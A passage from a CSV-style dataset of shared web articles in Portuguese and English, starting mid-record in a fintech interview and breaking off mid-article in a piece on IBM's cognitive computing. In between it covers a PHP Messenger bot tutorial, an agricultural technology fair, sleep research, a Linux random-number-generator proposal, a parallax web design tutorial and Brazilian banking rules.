saímos, sem nenhuma pressa, quando os negócios atingem a sua maturidade"", afirma. Em entrevista a NEGÓCIOS , Souza diz que o surgimento das Fintechs ameaça alguns setores de atuação dos bancos, como os segmentos de originação e destinação de produtos - justamente aqueles que representam a maior parte dos seus lucros. Por outro lado, elas ainda têm dificuldades para atuar em segmentos que exigem aportes maiores de capital. Nesse cenário, o Brasil é um alvo particularmente atraente para essas companhias, devido aos 55 milhões de pessoas que não possuem conta em banco - potenciais clientes para as Fintechs. Confira a conversa abaixo: NEGÓCIOS: Qual o efeito provocado pelo surgimento das Fintechs no mercado financeiro global? Souza: As Fintechs são empresas que empregam tecnologia no mundo financeiro e o seu efeito no mercado global é bastante significativo. Elas têm um alto potencial de disrupção, se tornando fortes concorrentes das instituições bancárias, mas não em todas as atividades. O seu impacto é maior naquelas que não requerem um aporte tão grande de capital. Por exemplo, nos segmentos de originação, distribuição e relacionamento com clientes, particularmente no varejo para pessoa física. As Fintechs podem usar meios digitais para chegar aos clientes, mas, por outro lado, têm maior dificuldade de atuar no setor de crédito, pois não possuem o balanço e o capital dos grandes bancos que isso tende a exigir. O que mudou nos últimos anos é que, antes, o mercado era muito fechado. Hoje, as tecnologias permitem a entrada de novos atores vindos de fora do sistema financeiro tradicional. Os grandes bancos se sentem, de certa forma, ameaçados e estão tendo que se adaptar a essa realidade digital para não perder mercado para os novos players. Até onde elas podem chegar? Qual o seu potencial e o seu limite? As Fintechs estão de olho nas atividades de originação e de distribuição de produtos financeiros, que representam cerca de 60% do lucro dos bancos, que vem das taxas e comissões sobre vendas e serviços. Essa parte de intermediação não requer um aporte financeiro enorme e, por isso, apresenta menores barreiras de entrada para as Fintechs. A estimativa é que elas consigam abocanhar entre 10% e 20% desse mercado. É importante destacar que muitas Fintechs inovadoras já são criadas com o propósito de, lá na frente, serem compradas pelos bancos. E outras se tornam parceiras estratégicas, ajudando as instituições a se adaptar mais rapidamente às novas necessidades do mercado e dos clientes. O que elas já estão realizando no mercado americano? Nos Estados Unidos, as Fintechs já são particularmente fortes na área de pagamentos e cartões, sobretudo no varejo, com o apelo da mobilidade. Lá, é possível pagar a corrida do táxi diretamente do celular, sem precisar passar o cartão bancário. Também ocorre, no mercado americano, um movimento de entrada das Fintechs nas áreas de empréstimos para pessoa física e gestão de contas. Temos investidores e executivos estrangeiros chegando ao Brasil para atuar nessa área? Sim, várias Fintechs são trazidas por executivos estrangeiros, que viram o modelo dar certo nos Estados Unidos e estão replicando no Brasil, na Índia e em outros países por meio de venture capital. São basicamente cópias do que deu certo lá fora. Muitos executivos trazem investidores americanos com eles, como a Nubank. Outro exemplo é o Guia Bolso, que tem dinheiro de fora. Essas Fintechs provavelmente serão compradas por grandes empresas americanas - como a Paguemob, que foi adquirida pela Boom Financial - ou por bancos brasileiros. Por aqui, os IPOs são menos prováveis. O potencial desse mercado no Brasil é similar ou diferente do que acontece lá fora? Talvez até um pouco maior, por várias razões. No Brasil, pesquisas mostram que existem cerca de 55 milhões de brasileiros desbancarizados, ou seja, sem conta em banco. Esse público é um excelente filão para as Fintechs. Além disso, mais da metade dos domicílios no país já possuem acesso à internet e 80% dessas conexões são feitas pelo celular. Estima-se também que 70% dos internautas usam redes sociais. São números favoráveis ao desenvolvimento das Fintechs. Como a Finvest está atuando nesse contexto? Desde a sua criação, a Finvest Capital Partners vem investindo em serviços financeiros inovadores. No Brasil, a empresa foi pioneira em vários segmentos - criou a primeira seguradora de fiança, a maior securitizadora de crédito imobiliário e administradora de fundos imobiliários, e a primeira specialty finance do país. Para buscar as inovações, a empresa sempre esteve muito informada do que acontece no mercado das Fintechs. Hoje, a nossa Specialty Finance faz uso de tecnologias financeiras nas suas operações e tem parcerias com Fintechs na área de crédito. Qual o potencial para o surgimento dos bancos virtuais no Brasil? A probabilidade de surgimento de bancos virtuais é bem razoável, mas as chances de sobrevivência deles como entidades independentes são pequenas. A regulação do setor é forte e as exigências de capital são grandes. Os bancos tradicionais têm força na sua sólida base de clientes e a maioria deles vem se virtualizando de forma satisfatória. A tendência dos bancos virtuais é de serem comprados por alguma grande instituição que tenha ficado para trás no processo de virtualização.",pt
1461588854,CONTENT SHARED,7494490104520466117,-48161796606086482,-548314898749983176,,,,HTML,http://blog.adnansiddiqi.me/develop-your-first-facebook-messenger-bot-in-php/,Develop your first Facebook messenger bot in PHP,"(Credit: Independent.co.uk) Facebook recently announced a Bot platform for it's Messenger which provides businesses and individuals another way to communicate with people. What is a Chat bot? A computer program designed to simulate conversation with human users, especially over the Internet. Chat bot in PHP When I heard of it, my very first thought was to a bot in PHP. I started to find some SDK in this regard released by Facebook but none was present. I headed over to documentation which provided good information for starters. Ok! so without wasting further time, let's build our first Bot Timebot In order to create an Fb bot you will need two things to host your bot: A Facebook Page which will be like Home of Bot, People will visit the page, click on Message option to Interact with your bot. For example, suppose Pizza Hut introduce a bot for order related operations. What could they do that they integrate or host their bot on their official page, a fan can just click on Message button and send messages to order a Pizza, get new deals etc and they will get messages as if some human representatives is responding to them. It all depends how efficient a bot is. Facebook puts no limitation in this regard. I am going to create a Time bot which will tell you current time Time API that provides different options to retrieve time. For our bot, we are just fetching latest(NOW) time. I will go step by step: Step 1: Create Facebook Page: I am going to create Bot's Page first, this page will actually be the entry point for communication for the bot to interact with your page fans/users. Do note that it is not necessary to create a separate page only for Bot purpose. You may use existing Fan page for this purpose. For sake of this tutorial I am assuming that you never created a page before. Visit and you will see something like this(as of April, 2016): I picked Entertainment option. In next steps it asks different options which you can always skip. Alright! so my page is ready and something like should be visible for you as well: Step 2: Create Facebook App: Alright, go to and click on Add a New App button. Make sure you have a developer account otherwise you will not be able to access developer dashboard. When you click on it it shows a window and asks you what kind of app are you going to make. I picked Basic Setup given at bottom. I entered required information; Display Name & Contact Email and hit Create App ID button. After Captcha you will be redirected to your App Page where you will be seeing details. On left side bar you will see an option of Messenger. When you click on it, it shows introduction of Messenger Platform and why and how these bots will be helpful. Click on Get Started and it will show a New Dashboard page related to your newly created app that's going to be hooked with Messenger platform. Now we need to do a few things for setting up the bot. As you can see, you are being asked a few things; Access Token/Page Token so that Facebook can know where do you want to host bot, Webhooks , your script URL that will be receiving messages from your users and responding them. It will also be hold the logic of your bot and Permissions that is, what this bot should be able to perform when communicating with users. Ok first, set the page which you just created. I am selecting TimBot. Since I, as a normal Facebook User going to use this page very first time, it will ask for Permissions as it normally asks. Once all goes well you would get your Page Token like this, save it somewhere as this will be used as access_token while sending messages. Now we have to set our Webhook. Facebook asks you to setup an URL which means, you simply can't use localhost while developing. You can either upload your script somewhere which allows SSL based requests or.. you can use some tunneling tool that will pass on your localhost message to outer world. Luckily such tools are available and they are FREE as well. I'd recommend nGrok for this purpose. Once it's unzipped, go to the folder and run the command: As a free user you are not allowed to give your own subdomain. Once it starts working, it shows something like this: As you can see, it gives you two forwarded URLs. Since we re interested about https one so we will focus on that. nGrok also provides you an interface to view requests on your newly created domain. It will help you to debug how your webhook page is being accessed by Messenger Platform. For that purpose, open a separate tab with the URL and here you can see all details related to that request. Now I have the URL, all I have to do is to setup my Webhook for Time Bot. Click on Setup Webhooks option and you'd see something like that. Here I entered the nGrok based URL, Verify Token which could be ANY string and checked subscription fields. If you hit verify and save, you will get error: What does it mean? Webhook when access the URL, it first verification token before doing anything further, if not present or incorrect, it gives the error you are seeing above. It's time to open IDE and write some code. Create a file, in my case it's index.php, in your case it could be any other file. Write the code that verify your Webhook. $verify_token holds the value you in Verify Token field. Now all seems set, let's try again! Hurray! if all goes well you would see something like this: Now all seems set. How about we test our Webhook by sending message to our bot. Step 3: Sending and Receiving Messages Before you start sending/receiving messages, you need to subscribe your page. Go to Command prompt, assuming cURL is installed,run the following command. Where access_token is the code I got in earlier step for the page Time Bot Page which I asked you to save somewhere. If works perfectly you should success message on console: Now go to your bot page and send message. If hooks and subscription works fine, on your nGrok Web Interface( you should see a request hit: Now you will know the power of nGrok Web Interface, here we are receiving message from Bot in a structure. In next step we will convert this message structure by decoding JSON into array and fetch sender Id and message. First line using to get message from Facebook and then convert the JSON into PHP Associative Array. In next couple of lines I am getting senderID, the ID of the person messaging to bot and the message itself. Wait.. while you are debugging requests on nGrok, you could find an error: This issue arises if you are using PHP5.6. The best bet to create an .htaccess file with the content. Now the error should be gone away. This particular will not go away by using ini_set() . I am setting some basic rules for my bot. It should only tell if it contains certain words. Jus to check all going well, the message going to be printed should be able to watch on nGrok debugger. Ok, now we have to message back to user. We have sender's Id, we prepared the message, it's time to send. First, we will create a JSON structure of the message as given by Facebook platform and then will make POST call via cURL. If all things coded correctly, you should see bot in action! As you can see it covers bot valid and invalid messages here as per our rules. Alright! It's your time to show your creativity and create your first awesome bot. if you bot goes public you can add a little code on your Website to invite others. Check the documentation for that. Code is available on Github",en
1461593553,CONTENT SHARED,-5636731245639685654,-5264754785175108362,-6302074326287999618,,,,HTML,http://www.grupocultivar.com.br/noticias/especial-agrishow-solucoes-de-agricultura-de-precisao-elevam-produtividade-e-aumentam-a-qualidade-do-plantio,Especial Agrishow: Soluções de agricultura de precisão elevam produtividade e aumentam a qualidade do plantio,"A Agrishow 2016 - 23ª Feira Internacional de Tecnologia Agrícola em Ação , marcada entre os dias 25 e 29 de abril, em Ribeirão Preto, São Paulo, terá uma área destinada para as empresas que desenvolvem soluções e inovações tecnológicas de agricultura de precisão, objetivando levar mais produtividade no campo, elevando a qualidade do plantio e da colheita, e eficiência em todas as etapas do cultivo. Durante a feira, os visitantes poderão conferir os sistemas de monitoramento, controladores e distribuidores pneumáticos, focados na operação de plantio, da Precision Planting. Esses equipamentos possibilitam o aumento na qualidade do plantio, fornecendo alta precisão e potencializando a performance da plantadeira. O vDrive, novo controlador elétrico de plantio, que combina o controle da plantadeira com o controle de linhas, sem correntes ou manutenção de cabos. Com ele, cada linha de plantio ajusta a população independentemente e, assim, planta a população exata nas curvas, inclusive com as prescrições de taxa variável. Além disso, o controle integrado dos motores elétricos permite reações em milésimos de segundo na correção da população, linha a linha e nas curvas. Já aTrimble estará presente na Agrishow 2016 com suas inovações de agricultura de precisão que potencializam o aumento de eficiência e produtividade, com redução de custos e uso de insumos em diferentes culturas. O monitor TMX-2050 é intuitivo, com tela touchscreen de alta definição e sistema Android™ que permite adicionar Apps específicos para o produtor. O monitor fornece soluções customizadas para as tarefas agrícolas, contando ainda com o exclusivo sistema de manobra automática de cabeceira. Essa tecnologia calcula automaticamente e executa o melhor caminho possível para manobrar o veículo e entrar na próxima linha de trabalho com o implemento precisamente alinhado. Sua utilização permite maior eficiência e padronização de manobra, que ajudam a melhorar a rentabilidade da lavoura e economizar no tempo e nos custos de combustível, além de prevenir danos à cultura e ao solo. A J. Assy vai levar três grandes lançamentos para o evento. O Titanium Visum é um dosador de sementes com sensores não invasivos, de alta precisão, com comunicação sem fio e sem necessidade de troca de baterias, já que conta com um gerador próprio. O Visum adubo é um sensor que monitora a aplicação de adubo sólido em plantadeiras, robusto, não invasivo, de baixa manutenção, com comunicação sem fio e sem necessidade de troca de baterias, em função da produção de energia dos próprios sensores e do software inteligente que o acompanha. E o Selenium, o novo dosador pneumático, que é prático, preciso e robusto. O principal destaque da Hexagon Agriculture na Agrishow 2016 será um conjunto de soluções voltadas para a automação das áreas de corte, carregamento e transporte de cana-de-açúcar. As principais funções do lançamento são coordenar e otimizar as operações logísticas, sincronizar os recursos (transbordos e colhedoras) em operação na frente de colheita, efetuar a comunicação entre máquinas para habilitar o transporte e a sincronização de informações. Também será destacada a integração dos controladores Ti5 e Ti7 com o módulo de monitoramento que, trabalhando de forma simultânea, permite monitorar tratores, caminhões, colheitadeiras. O Kit Falker para Agricultura de Precisão inclui toda a tecnologia necessária para levar as informações do campo aos mapas que mostrarão as condições químicas e físicas do solo. Fazem parte da linha de produção da empresa amostradores de solo, GPS para navegação em campo e o software para geração de mapas e instrumentos eletrônicos para análise de parâmetros agronômicos como compactação do solo, controle de irrigação e nutrição de plantas. O objetivo desses produtos é ajudar o produtor a melhorar a produtividade da sua lavoura, garantindo sustentabilidade econômica e ambiental da produção. Na área de VANTs, a Eficiente mostrará o DT18 realiza o mapeamento de áreas agrícolas e ambientais. Com sensor de orientação integrado, antena de rastreio motorizada e software de controle de voo, possui autonomia de voo de aproximadamente 120 minutos, sem interrupções, podendo gerar registros fotográficos ou até mesmo gravações de voo, em formato RGB ou Infravermelho. Já o 3WDM8-18 é voltado para pulverizações localizadas em agricultura de precisão, utilizando ultrabaixo volume de água, com menor impacto ambiental no uso de defensivos e otimização de recursos hídricos no controle de pragas, doenças e plantas invasoras. A Ativa Soluções apresentará na Agrishow 2016 diversas soluções em telemetria voltada para aplicação no agronegócio. São equipamentos que fazem a coleta de informações, medições e transmissão de dados em tempo real para um centro de monitoramento e gerência. As soluções desenvolvidas pela empresa propiciam atuar e aprimorar o desempenho da agricultura de precisão, a telemetria e gestão em fazendas, a gestão de sistemas de irrigação, o controle centralizado de pivôs, turbina a internet no campo e monitora estações meteorológica, entre outras atividades. Em todas essas aplicações, os sistemas desenvolvidos pela empresa proporcionam aumentos de produtividade e reduções de custos. Por fim, a Agres destacará duas tecnologias: o IsoHub é um conceito inovador, que integra em um único console os comandos eletro-hidráulicos e as funções de piloto automático da máquina. A versatilidade deste console integrado permite que todos os controles da máquina estejam confortavelmente ao alcance do operador em uma única tela. Também permite grande flexibilidade de conectividade, facilitando atualizações do sistema e carregamento dos dados mais relevantes da operação em nuvem. Já a tecnologia de sinal RTK alia a navegação por sinal de satélites a um link de rádio, para obter correções instantâneas, gerando precisão perfeita para plantação, colheita e pulverização de altíssima eficiência. Na feira, outras soluções para agricultura de precisão poderão ser vistas bem como lançamentos em máquinas e implementos agrícolas, tecnologias para a área de irrigação, sistemas sustentáveis, insumos para diversos tipos de culturas, novidades para a pecuária, além de tendências inovadoras para o agronegócio do futuro. A Agrishow 2016 é uma iniciativa das principais entidades do agronegócio no país: Abag - Associação Brasileira do Agronegócio, Abimaq - Associação Brasileira da Indústria de Máquinas e Equipamentos, Anda - Associação Nacional para Difusão de Adubos, Faesp - Federação da Agricultura e da Pecuária do Estado de São Paulo e SRB - Sociedade Rural Brasileira, e é organizado pela Informa Exhibitions, integrante do Grupo Informa, um dos maiores promotores de feiras, conferências e treinamento do mundo com capital aberto. Mais informações: AGRISHOW 2016 - 23ª Feira Internacional de Tecnologia Agrícola em Ação Data: 25 a 29 de abril de 2016 Local: Rodovia Antônio Duarte Nogueira, Km 321 - Ribeirão Preto (SP) Horário: das 8h às 18h www.agrishow.com.br ver mais notícias",pt
1461594637,CONTENT SHARED,4981361987119307017,-2979881261169775358,4352954379623775862,,,,HTML,http://www.npr.org/sections/health-shots/2016/04/21/474691141/half-your-brain-stands-guard-when-sleeping-in-a-new-place,Half Your Brain Stands Guard When Sleeping In A New Place,"When you sleep in unfamiliar surroundings, only half your brain is getting a good night's rest. ""The left side seems to be more awake than the right side,"" says Yuka Sasaki , an associate professor of cognitive, linguistic and psychological sciences at Brown University. The finding, reported Thursday in the journal Current Biology , helps explain why people tend to feel tired after sleeping in a new place. And it suggests people have something in common with birds and sea mammals, which frequently put half their brain to sleep while the other half remains on guard. Sleep researchers discovered the ""first-night effect"" decades ago, when they began studying people in sleep labs. The first night in a lab, a person's sleep is usually so bad that researchers simply toss out any data they collect. But Sasaki wanted to know what was going on in the brain during that first night. So she and a team of researchers studied the brain wave patterns of 35 Brown University students. The team measured something called slow-wave activity, which appears during deep sleep. And they found that during a student's first night in the lab, slow wave activity was greater in certain areas of the right hemisphere than in the corresponding areas of the left hemisphere. After the first night, though, the difference went away. To confirm that the left side of the brain really was more alert, the team did two other experiments. First, they had the sleeping students listen to a repeated standard tone followed by a single tone of a different pitch. When someone is awake or sleeping lightly, the brain responds to this ""deviant tone."" And the students' brains did respond - but only on the left side. Then the researchers played a sound loud enough to wake someone who was sleeping lightly. And they found that students woke up faster when the sound was played into the right ear, which is connected to the left side of the brain. The ability to rest just one side of the brain has never been demonstrated in people before, says Niels Rattenborg , leader of the avian sleep group at the Max Planck Institute for Ornithology in Seewiesen, Germany. But he says it's a trick many animals can do. ""We've known for quite a while that some marine mammals like dolphins and some of the seals as well as many birds can sleep with one half of the brain at a time,"" he says. A few years ago, Rattenborg did an experiment with ducks that suggests at least one way in which half-brain sleeping provided an evolutionary advantage. The experiment involved putting ducks in a row, literally, and watching them sleep. Rattenborg found that ducks with a bird on either side of them put their entire brain to sleep and kept both eyes closed. ""However, the ducks at the end of the row slept more with one half of the brain at a time,"" he says. ""And when they did that they directed the open eye away from the other birds, as if they were looking for approaching predators."" Predators aren't a big problem for people these days. But the human brain was shaped during a time when nights were dark and full of terrors, Rattenborg says. ""When we're sleeping in a new environment and we don't know how many predators are around,"" he says, ""it would make sense to keep half the brain more alert and more responsive to bumps in the night."" Sasaki says that brain response is involuntary and there's nothing people can do to prevent it, even if they've just flown in for a big presentation the next morning. So lots of coffee the next morning.",en
1461594962,CONTENT SHARED,3365858042237188987,-2979881261169775358,4352954379623775862,,,,HTML,http://lwn.net/Articles/684568/,/dev/random - a new approach,"Hi Herbert, Ted, The venerable Linux /dev/random served users of cryptographic mechanisms well for a long time. Its behavior is well understood to deliver entropic data. In the last years, however, the Linux /dev/random showed signs of age where it has challenges to cope with modern computing environments ranging from tiny embedded systems, over new hardware resources such as SSDs, up to massive parallel systems as well as virtualized environments. With the experience gained during numerous studies of /dev/random, entropy assessments of different noise source designs and assessing entropy behavior in virtual machines and other special environments, I felt to do something about it. I developed a different approach, which I call Linux Random Number Generator (LRNG) to collect entropy within the Linux kernel. The main improvements compared to the legacy /dev/random is to provide sufficient entropy during boot time as well as in virtual environments and when using SSDs. A secondary design goal is to limit the impact of the entropy collection on massive parallel systems and also allow the use accelerated cryptographic primitives. Also, all steps of the entropic data processing are testable. Finally massive performance improvements are visible at /dev/urandom / get_random_bytes. The design and implementation is driven by a set of goals described in [1] that the LRNG completely implements. Furthermore, [1] includes a comparison with RNG design suggestions such as SP800-90B, SP800-90C, and AIS20/31. Please find in [1] the full design discussion covering qualitative assessments of the entropy collection and entropy flow. Furthermore, a full testing of the data collection and data processing is performed. The testing focuses on the calculation of different types of minimum entropy values of raw noise data. All used test code and supportive tools are provided with [2]. The testing is concluded with a comparison to the legacy /dev/random implementation regarding performance and delivery time of entropic random data. To support a proper review of the code without interfering with the current functionality, the attached patch adds the LRNG to the cryptodev-2.6 tree as an option. The patches do not replace or even alter the legacy /dev/random implementation but allows the user to enable the LRNG at compile time. If it is enabled, the legacy /dev/random implementation is not compiled. On the other hand, if the LRNG support is disabled, the legacy /dev/random code is compiled unchanged. With this approach you see that the LRNG is API and ABI compatible with the legacy implementation. Stability tests were executed on 64 and 32 bit systems where the test KVM with 4 vCPUs on 4 hyperthreads compiled the Linux kernel with make -j4 over and over for half a day. In addition, parallel cat /dev/urandom > /dev/null were exercised for a couple of hours. Also, stability tests by generating 500 million interrupts were performed. [1] [2] Stephan Mueller (6): crypto: DRBG - externalize DRBG functions for LRNG random: conditionally compile code depending on LRNG crypto: Linux Random Number Generator crypto: LRNG - enable compile crypto: LRNG - hook LRNG into interrupt handler hyperv IRQ handler: trigger LRNG crypto/Kconfig | 10 + crypto/Makefile | 1 + crypto/drbg.c | 11 +- crypto/lrng.c | 1803 ++++++++++++++++++++++++++++++++++++++++++++++++ drivers/char/random.c | 8 + drivers/hv/vmbus_drv.c | 3 + include/crypto/drbg.h | 7 + include/linux/genhd.h | 5 + include/linux/random.h | 8 + kernel/irq/handle.c | 1 + 10 files changed, 1851 insertions(+), 6 deletions(-) create mode 100644 crypto/lrng.c -- 2.5.5 , Ciao Stephan",en
1461595615,CONTENT SHARED,7059601745558171892,-2979881261169775358,4352954379623775862,,,,HTML,https://medium.com/@PatrykZabielski/how-to-make-multi-layered-parallax-illustration-with-css-javascript-2b56883c3f27,How to make Multi-Layered Parallax Illustration with CSS & Javascript,"How to make Multi-Layered Parallax Illustration with CSS & Javascript Hey friends, I will be showing you how to create a simple multi-layered illustration with depth that transitions into the content in a unique way. We'll be using a technique that involves CSS and pure JS (no jQuery!). The tutorial is for beginners with basic Javascript and CSS knowledge, so I will be explaining most of the things and link to external sources. ( Edit: If you're looking for information on how to start learning Javascript I wrote an article about it . ) Prepare the illustration Let's start by cutting the painting into layers. Best-case-scenario would be a picture that you painted or if you have access to a source file with all the layers. If you don't, then do not worry we can fix that. I will be providing a painting that I did last year. If you don't feel like creating your own assets, you can download assets before we start for free . What we are looking for is splitting the painting into multiple png files with transparent background (layers), which will allow us to create the sense of depth. Layers in the back will be moving slower than the ones in the foreground what will give us the effect of depth. One other thing that will give a better transition to next section is making the bottom of the image the same color as the background. I have added a slight foreground line on the bottom and made sure that it's not transparent on the bottom. Get codin' Preparations What you will need: A fresh Codepen (if you'd like to follow code below remember to change HTML to HAML, CSS to SCSS and JS to Coffeescript in Codepen settings) Basic understanding of Javascript and Coffeescript (If you're still struggling with that - I recommend ""Javascript & jQuery"" by Jon Duckett ).If you don't feel like playing around with Coffeescript then you can use this Coffescript converter and paste in code snippets below to get raw js. Your illustration/photo split into multiple png layers. Let's start with the HTML structure. We will create a parent container and give it an id of ' hero '. Then we want to add multiple divs with class "" layer "" ( one for each layer you have created) and data-type attribute with value "" parallax. "" #hero .layer{""data-type"" => ""parallax""} .layer{""data-type"" => ""parallax""} .layer{""data-type"" => ""parallax""} .layer{""data-type"" => ""parallax""} .layer{""data-type"" => ""parallax""} Let's add our basic styling. We'll start by styling the id ""hero"" . I have set the height of the illustration to 800 px. #hero { height: 800px; overflow: hidden; position: relative; } Now, let's move to styling the repeating class of layers. All of them will have the same height as the id ""hero"" container base positioning, and we'll add position: fixed . .layer { background-position: bottom center; background-size: auto; background-repeat: no-repeat; width: 100%; height: 800px; position: fixed; z-index: -1; } The next thing we'll want to do is add the layer images we have previously prepared. We'll create another set of classes, one for every layer. Then, place the URL of the picture inside the "" background-image "" property. .layer-01 { background-image: url('input_link_to_image_here ' ); } .layer-02 { background-image: url('input_link_to_image_here ' ); } // etc. Let's not forget to update the HTML file and assign the classes to the proper divs in our order, with the first layer being the background; the subsequent layers will be stacked on top of each other as you add the next numbers. #hero .layer.layer-01{""data-type"" => ""parallax""} .layer.layer-02{""data-type"" => ""parallax""} .layer.layer-03{""data-type"" => ""parallax""} .layer.layer-04{""data-type"" => ""parallax""} .layer.layer-05{""data-type"" => ""parallax""} Javascript time Now, let's add a method that will check if the user has begun scrolling down. window.addEventListener 'scroll', (event) The EventTarget.addEventListener() method registers the specified listener on the EventTarget it's called on. The event target may be an Element in a document, the Document itself, a Window , or any other object that supports events (such as XMLHttpRequest ). Then let's store the value of pixels that the document has already been scrolled vertically into the topDistance variable. To do that, we'll use the pageYOffset property. window.addEventListener 'scroll', (event) -> topDistance = @pageYOffset After that, we want to select all the layers in our illustration and store them into a variable called ' layers '. To do that, we'll use the querySelectorAll method and data attribute inside the HTML that we have specified previously. window.addEventListener 'scroll', (event) -> topDistance = @pageYOffset layers = document.querySelectorAll(""[data-type='parallax']"") Next thing we'll have to do is to loop through all the layers and apply proper transform to each of the layers. But before that, we need to specify one more thing inside of our HTML file, the data-depth . It will allow us to control how fast the elements move, let's not dig too deep into the values inside of it yet, we'll get back to this later on. #hero .layer.layer-01{""data-type"" => ""parallax"", ""data-depth"" => ""0.10""} .layer.layer-02{""data-type"" => ""parallax"", ""data-depth"" => ""0.20""} .layer.layer-03{""data-type"" => ""parallax"", ""data-depth"" => ""0.50""} .layer.layer-04{""data-type"" => ""parallax"", ""data-depth"" => ""0.80""} .layer.layer-05{""data-type"" => ""parallax"", ""data-depth"" => ""1.00""} For looping through all the elements, we'll use the for loop. We start the loop by creating a variable where we will be storing our layers (coffescript allows us to do that all with a simple sentence for layer in layers ); then take the value from the data-depth attribute we specified inside of our HTML. After that, we calculate the movement of the layers by multiplying the distance from the top of the page by our data-depth for the given layer. Element with the value of 1.0 will flow normally with the rest of the document, you can think of this as a ""parallax off"" state. The last thing we do is we update the final value of movement to the layer's CSS parameter of transform translate3d , to do that we'll use style property along with all the prefixes for transform . To make things more readable and DRY , we'll store the translate3d property in a variable called 'translate3d'. for layer in layers depth = layer.getAttribute('data-depth') movement = -(topDistance * depth) translate3d = 'translate3d(0, ' + movement + 'px, 0)' layer.style['-webkit-transform'] = translate3d layer.style['-moz-transform'] = translate3d layer.style['-ms-transform'] = translate3d layer.style['-o-transform'] = translate3d layer.style.transform = translate3d Now when we specify the data-depth=""1.00"" the element will move with the page as a standard element with no parallax effect. All values that are less than 100 will have the parallax effect. Mobile For mobile we'll be turning off the parallax version and replacing it with static image to save up on performance and file size (since it requires multiple png files). To do that we'll create a new div below id hero with id of hero-mobile and apply display: none along with the background and height property. #hero-mobile { display: none; background: url("" "") no-repeat center bottom / cover; height: 320px; } To show it instead of parallax we'll use simple media query and apply display: none to desktop version, while overriding our display: none with display: block on hero-mobile . Further tweaking involves adding background-position to the individual layer classes to position elements as you wish.",en
1461596149,CONTENT SHARED,7921510628110926276,-7377845572432324217,-1838937762564256986,,,,HTML,http://g1.globo.com/economia/seu-dinheiro/noticia/2016/04/clientes-poderao-abrir-e-fechar-conta-corrente-pela-internet-estabelece-cmn.html,"Clientes poderão abrir e fechar conta corrente pela internet, estabelece CMN","As pessoas poderão abrir e fechar contas correntes por meio da internet, sem a necessidade de, em algum momento, necessariamente passarem pelos bancos, como era solicitado antes, autorizou o Conselho Monetário Nacional. A informação foi divulgada pelo Banco Central nesta segunda-feira (25). Segundo Silvia Marques, chefe do Departamento de Normas do BC, os bancos terão de estabelecer, porém, mecanismos de controle para verificar identidade das pessoas. De acordo com ela, isso poderá ser feito, por exemplo, por meio de reconhecimento de imagem, de voz, ou podem solicitar uma fotografia, ou, ainda, podem exigir o uso do certificado digital. ""Tem mecanismos de tecnologia que permitem várias checagens além do contato presencial"", explicou ela. Silvia Marques, do Banco Central, disse que esses mecanismos poderão, inclusive, dificultar a ocorrência de fraudes. ""Hoje, tem um cliente indo a uma agência levando um documento, que pode ser falso. Pode ter um único contato trazendo fragilidade [ao cadastro]. o que se permite [com a nova regra] é que você vai ter não só um ponto de controle, mas vários"", disse.",pt
1461596402,CONTENT REMOVED,7921510628110926276,-7377845572432324217,-1838937762564256986,,,,HTML,http://g1.globo.com/economia/seu-dinheiro/noticia/2016/04/clientes-poderao-abrir-e-fechar-conta-corrente-pela-internet-estabelece-cmn.html,"Clientes poderão abrir e fechar conta corrente pela internet, estabelece CMN","As pessoas poderão abrir e fechar contas correntes por meio da internet, sem a necessidade de, em algum momento, necessariamente passarem pelos bancos, como era solicitado antes, autorizou o Conselho Monetário Nacional. A informação foi divulgada pelo Banco Central nesta segunda-feira (25). Segundo Silvia Marques, chefe do Departamento de Normas do BC, os bancos terão de estabelecer, porém, mecanismos de controle para verificar identidade das pessoas. De acordo com ela, isso poderá ser feito, por exemplo, por meio de reconhecimento de imagem, de voz, ou podem solicitar uma fotografia, ou, ainda, podem exigir o uso do certificado digital. ""Tem mecanismos de tecnologia que permitem várias checagens além do contato presencial"", explicou ela. Silvia Marques, do Banco Central, disse que esses mecanismos poderão, inclusive, dificultar a ocorrência de fraudes. ""Hoje, tem um cliente indo a uma agência levando um documento, que pode ser falso. Pode ter um único contato trazendo fragilidade [ao cadastro]. o que se permite [com a nova regra] é que você vai ter não só um ponto de controle, mas vários"", disse.",pt
1461596475,CONTENT SHARED,5152069678055228801,-1032019229384696495,-7443478780140249581,,,,HTML,http://www.latimes.com/business/technology/la-fi-cutting-edge-ibm-20160422-story.html,IBM makes a big shift into cognitive computing,"IBM's California research lab sits atop a green hill in Almaden, 15 miles south of downtown San Jose. There aren't any signs that suggest if you drive up the narrow road that wraps around the hill you'll find a research facility at the top. No signs that the research center is home to a Fortune 500 company. No signs - even inside - that the company once dominated the personal computer industry. After decades in the spotlight as a hardware-centric firm selling PCs, servers and mainframes, the 105-year-old tech giant has made a dramatic shift into a realm that few understand: cognitive computing. Deep within the apps we use, the food we eat, the medicine we take and the medical diagnoses we make, you'll find traces of IBM. Like its Almaden research lab, there are no obvious signs it's there. Look carefully, though, and the work of IBM - particularly from its Almaden lab - is everywhere. IBM's cognitive computing business - which includes artificial intelligence, machine learning, algorithms and analytics - accounted for 35% of the company's $81 billion in revenue last year. It's the fastest-growing segment at IBM, where overall sales are declining. Jeffrey Welser, director of IBM's Almaden Research Center, said it's ""the main focus for IBM in terms of growth."" The work at Almaden played no small part in this. Several hundred researchers work at the facility developing artificial intelligence, algorithms and the chip sets to support faster, more powerful self-learning systems. It feels less like other Silicon Valley tech campuses, where hoverboards and ping-pong tables are common sights, and more like a college campus without the students. The hallways are quiet and clean. The tenured professors - in this case, the IBM scientists and engineers - code away in their discreet offices. IBM is still a major player in servers and mainframes - its technology continues to power banking and airline reservation systems. It also has people working in areas such as cybersecurity and the cloud. But to understand why it sees cognitive computing as its future, it helps to go back to 2011, when IBM's artificial intelligence, Watson, beat human players on the game show ""Jeopardy."" Winning ""Jeopardy"" isn't like winning at chess. An earlier IBM artificial intelligence, Deep Blue, beat the world chess champion in 1995 by computing every possible move and picking the best option. But for Watson to even play ""Jeopardy"", it had to learn natural language, understand riddles and answer questions in coherent sentences. Stuff humans do. IBM had been researching artificial intelligence since the 1970s. But the Watson victory was a major breakthrough: If IBM could teach Watson everything it needed to know to win a complex game show, what else could it be taught? ""Part of it is showing that a computer can do things beyond crunching numbers,"" Welser said. ""The human mind cannot crunch numbers very well, but it does other things well, like playing games, strategy, understanding riddles and natural language, and recognizing faces. So we looked at how we could get computers to do that."" Shortly after the ""Jeopardy"" matches, IBM researchers, including those from its Almaden lab, taught Watson to read patent databases and medical journal abstracts. In drug research, any given molecule can have as many as 100 synonyms -- brand names, generic names, different chemical strings. They taught Watson how to identify those. They also taught it context. ""If it reads the 